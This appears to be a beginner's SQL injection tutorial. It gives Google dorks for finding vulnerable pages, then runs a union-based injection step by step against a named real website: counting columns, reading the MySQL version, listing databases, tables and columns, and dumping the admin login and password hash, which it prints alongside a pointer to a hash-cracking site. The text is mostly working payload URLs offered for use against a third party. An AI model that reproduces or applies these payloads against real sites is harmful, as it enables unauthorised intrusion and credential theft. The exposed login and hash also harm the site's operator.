SQL Injection Full Tutorial With Pic [Highly Detailed] [n00b friendly]

SQL Injection Tutorial:

1. Finding vulnerable sites
2. Finding amount of columns
3. Getting mysql version
4. Getting Databases
5. Getting Tables
6. Getting Columns
7. Getting Usernames and Passwords

1. Finding vulnerable sites

To find vulnerable sites we used google dork. Some of google dorks are:

• inurl:index.php?id=
• inurl:news.php?id=
• inurl:gallery.php?id=
• inurl:category.php?id=
• inurl:games.php?id=
• inurl:forum.php?tid=
• inurl:newsletter.php?id=
• inurl:content.php?id=

  You can find the largest collection of google dorks from here.


So as an example I find vulnerable site that is
http://www.geotunis.org/index_en.php?id=7


I know about vulnerability by using string ('). At the last of url use ' and if you got a error then it is vulnerable. In many sites don't show error but some text or image are missing. This kind of sites are also vulnerable.

For sql injection we use a add-on which is very helpful to hacker.
Download it from https://addons.mozilla.org/en-US/firefox/addon/hackbar/

2. Finding Amount of Columns

 To find the right number of column we are using "order by". After the url type 'order by 5' and see the page.

Here I do 

www.geotunis.org/index_en.php?id=7 order by 5--

It seems that the page load normally and there are no error. That means columns are more than 5.

Again try

www.geotunis.org/index_en.php?id=7 order by 10--

It's showing error. That means columns number is less than 10.

By this try for finding columns number.

www.geotunis.org/index_en.php?id=7 order by 6-- [no error]

www.geotunis.org/index_en.php?id=7 order by 7-- [no error]

www.geotunis.org/index_en.php?id=7 order by 8-- [no error]

www.geotunis.org/index_en.php?id=7 order by 9-- [error]

So total column number is 8.

Now we find vulnerable column. To do this please folow me:

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,4,5,6,7,8--

After id= please insert [-] and it means null.

We got the vulnerable column is 4.

3. Getting Mysql Version

Now we wanna know the MySQL version. If its over 5 then its injectable by this Tut. (if its under 4 then you have to guess tables and columns).

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,@@version,5,6,7,8--

In the vulnerable column we use @@version instead of column number.

ok we find it.

4. Getting Databases

Now we wanna find the databases and the Current database.
Here the syntax for all databases:

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata--

And it displays like this:

Now wel would like to now what is the current database, it's pretty obvious in this case but usefull sometimes.

Syntax for current database:

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,database(),5,6,7,8 from information_schema.schemata--

This should display something like this:

5. Getting Tables

Now we want to know the tables on in the database and for this we will conintue using "union select".

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()--

It's output look like this:

Here admin table is 'utilisateurs'. In maximum sites tables are admin, users, administrator etc.

6. Getting Columns

Now we want to know the columns.
We will use following code:

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema=database()--

We got column and it looks like:

7. Dumping users/pass

Now you would like to dump logins and passwords.

www.geotunis.org/index_en.php?id=-7 union all select 1,2,3,group_concat(login,0x3a,pass,0x3a),5,6,7,8 from utilisateurs--

Now we got admin login and password.

Here login: atign and pass: 720a7e98c63c155ae17b0e7d3ce10a09

The pass is md5hash. You can decrypt this hash from www.md5hacker.com

Thanks. If you are helpful by this tutorial please leave a comment and give us review in alexa.